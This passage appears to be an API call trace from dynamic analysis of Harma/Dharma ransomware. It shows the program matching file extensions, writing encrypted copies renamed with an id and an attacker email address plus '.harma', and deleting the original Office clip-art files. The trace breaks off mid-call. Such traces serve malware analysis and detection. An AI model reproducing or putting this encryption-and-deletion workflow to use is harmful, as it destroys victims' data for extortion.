[0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.262] lstrlenW (lpString=".doc") returned 4 [0157.262] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".docx") returned 5 [0157.262] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.262] lstrlenW (lpString=".pdf") returned 4 [0157.262] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.262] lstrlenW (lpString=".xls") returned 4 [0157.262] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.262] lstrlenW (lpString=".xlsx") returned 5 [0157.262] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.262] lstrlenW (lpString=".ppt") returned 4 [0157.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.263] lstrlenW (lpString=".zip") returned 4 [0157.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.263] lstrlenW (lpString=".rar") returned 4 [0157.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".bz2") returned 4 [0157.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".7z") returned 3 [0157.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.263] lstrlenW (lpString=".dbf") returned 4 [0157.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.263] lstrlenW (lpString=".1cd") returned 4 [0157.263] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.263] lstrlenW (lpString=".jpg") returned 4 [0157.263] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.263] lstrlenW (lpString=".doc") returned 4 [0157.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".docx") returned 5 [0157.263] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.263] lstrlenW (lpString=".pdf") returned 4 [0157.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.263] lstrlenW (lpString=".xls") returned 4 [0157.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.263] lstrlenW (lpString=".xlsx") returned 5 [0157.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.264] lstrlenW (lpString=".ppt") returned 4 [0157.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.264] lstrlenW (lpString=".zip") returned 4 [0157.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.264] lstrlenW (lpString=".rar") returned 4 [0157.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.264] lstrlenW (lpString=".bz2") returned 4 [0157.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.264] lstrlenW (lpString=".7z") returned 3 [0157.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.264] lstrlenW (lpString=".dbf") returned 4 [0157.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.264] lstrlenW (lpString=".1cd") returned 4 [0157.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned 63 [0157.264] lstrlenW (lpString=".jpg") returned 4 [0157.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.264] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.264] lstrlenW (lpString="HH00527_.WMF") returned 12 [0157.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0157.268] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5798) returned 1 [0157.268] CloseHandle (hObject=0x374) returned 1 [0157.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0157.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0157.300] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.300] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.300] GetLastError () returned 0x0 [0157.300] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x16a6, lpOverlapped=0x0) returned 1 [0157.510] WriteFile (in: hFile=0x358, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0157.511] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.511] WriteFile (in: hFile=0x358, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.511] SetEndOfFile (hFile=0x358) returned 1 [0157.511] CloseHandle (hObject=0x358) returned 1 [0157.511] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.511] SetEndOfFile (hFile=0x330) returned 1 [0157.532] CloseHandle (hObject=0x330) returned 1 [0157.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.532] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0157.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.533] lstrlenW (lpString=".doc") returned 4 [0157.533] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.533] lstrlenW (lpString=".docx") returned 5 [0157.533] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.534] lstrlenW (lpString=".pdf") returned 4 [0157.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString=".xls") returned 4 [0157.534] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.534] lstrlenW (lpString=".xlsx") returned 5 [0157.534] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.534] lstrlenW (lpString=".ppt") returned 4 [0157.534] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.534] lstrlenW (lpString=".zip") returned 4 [0157.534] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.534] lstrlenW (lpString=".rar") returned 4 [0157.534] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString=".bz2") returned 4 [0157.534] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString=".7z") returned 3 [0157.534] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.534] lstrlenW (lpString=".dbf") returned 4 [0157.534] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.534] lstrlenW (lpString=".1cd") returned 4 [0157.534] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.534] lstrlenW (lpString=".jpg") returned 4 [0157.534] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.534] lstrlenW (lpString=".doc") returned 4 [0157.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.534] lstrlenW (lpString=".docx") returned 5 [0157.534] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.535] lstrlenW (lpString=".pdf") returned 4 [0157.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.535] lstrlenW (lpString=".xls") returned 4 [0157.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.535] lstrlenW (lpString=".xlsx") returned 5 [0157.535] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.535] lstrlenW (lpString=".ppt") returned 4 [0157.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.535] lstrlenW (lpString=".zip") returned 4 [0157.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.535] lstrlenW (lpString=".rar") returned 4 [0157.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.535] lstrlenW (lpString=".bz2") returned 4 [0157.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.535] lstrlenW (lpString=".7z") returned 3 [0157.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.535] lstrlenW (lpString=".dbf") returned 4 [0157.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.535] lstrlenW (lpString=".1cd") returned 4 [0157.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0157.535] lstrlenW (lpString=".jpg") returned 4 [0157.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.535] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.536] lstrlenW (lpString="HH00623_.WMF") returned 12 [0157.536] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0157.536] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=10644) returned 1 [0157.536] CloseHandle (hObject=0x330) returned 1 [0157.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0157.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0157.539] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.539] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0157.540] GetLastError () returned 0x0 [0157.540] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x2994, lpOverlapped=0x0) returned 1 [0157.553] WriteFile (in: hFile=0x358, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x29a0, lpOverlapped=0x0) returned 1 [0157.554] ReadFile (in: hFile=0x330, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.554] WriteFile (in: hFile=0x358, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.554] SetEndOfFile (hFile=0x358) returned 1 [0157.555] CloseHandle (hObject=0x358) returned 1 [0157.555] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.555] SetEndOfFile (hFile=0x330) returned 1 [0157.558] CloseHandle (hObject=0x330) returned 1 [0157.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.558] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0157.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.987] lstrlenW (lpString=".doc") returned 4 [0157.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.987] lstrlenW (lpString=".docx") returned 5 [0157.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.987] lstrlenW (lpString=".pdf") returned 4 [0157.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.987] lstrlenW (lpString=".xls") returned 4 [0157.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.987] lstrlenW (lpString=".xlsx") returned 5 [0157.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.987] lstrlenW (lpString=".ppt") returned 4 [0157.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.987] lstrlenW (lpString=".zip") returned 4 [0157.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.987] lstrlenW (lpString=".rar") returned 4 [0157.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.987] lstrlenW (lpString=".bz2") returned 4 [0157.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.987] lstrlenW (lpString=".7z") returned 3 [0157.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.987] lstrlenW (lpString=".dbf") returned 4 [0157.987] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.987] lstrlenW (lpString=".1cd") returned 4 [0157.987] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.988] lstrlenW (lpString=".jpg") returned 4 [0157.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.988] lstrlenW (lpString=".doc") returned 4 [0157.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString=".docx") returned 5 [0157.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.988] lstrlenW (lpString=".pdf") returned 4 [0157.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString=".xls") returned 4 [0157.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.988] lstrlenW (lpString=".xlsx") returned 5 [0157.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.988] lstrlenW (lpString=".ppt") returned 4 [0157.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.988] lstrlenW (lpString=".zip") returned 4 [0157.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.988] lstrlenW (lpString=".rar") returned 4 [0157.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString=".bz2") returned 4 [0157.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.988] lstrlenW (lpString=".7z") returned 3 [0157.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.988] lstrlenW (lpString=".dbf") returned 4 [0157.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.989] lstrlenW (lpString=".1cd") returned 4 [0157.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 63 [0157.989] lstrlenW (lpString=".jpg") returned 4 [0157.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.989] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0157.989] lstrlenW (lpString="HH01065_.WMF") returned 12 [0157.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0158.028] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=1268) returned 1 [0158.028] CloseHandle (hObject=0x334) returned 1 [0158.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0158.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0158.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0158.029] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.029] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0158.029] GetLastError () returned 0x0 [0158.030] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x4f4, lpOverlapped=0x0) returned 1 [0158.052] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x500, lpOverlapped=0x0) returned 1 [0158.053] ReadFile (in: hFile=0x334, lpBuffer=0x3b00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.053] WriteFile (in: hFile=0x37c, lpBuffer=0x3b00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b00020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.053] SetEndOfFile (hFile=0x37c) returned 1 [0158.053] CloseHandle (hObject=0x37c) returned 1 [0158.053] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.053] SetEndOfFile (hFile=0x334) returned 1 [0158.060] CloseHandle (hObject=0x334) returned 1 [0158.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0158.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0158.061] lstrlenW (lpString=".doc") returned 4 [0158.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.061] lstrlenW (lpString=".docx") returned 5 [0158.061] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.061] lstrlenW (lpString=".pdf") returned 4 [0158.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.061] lstrlenW (lpString=".xls") returned 4 [0158.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.061] lstrlenW (lpString=".xlsx") returned 5 [0158.061] 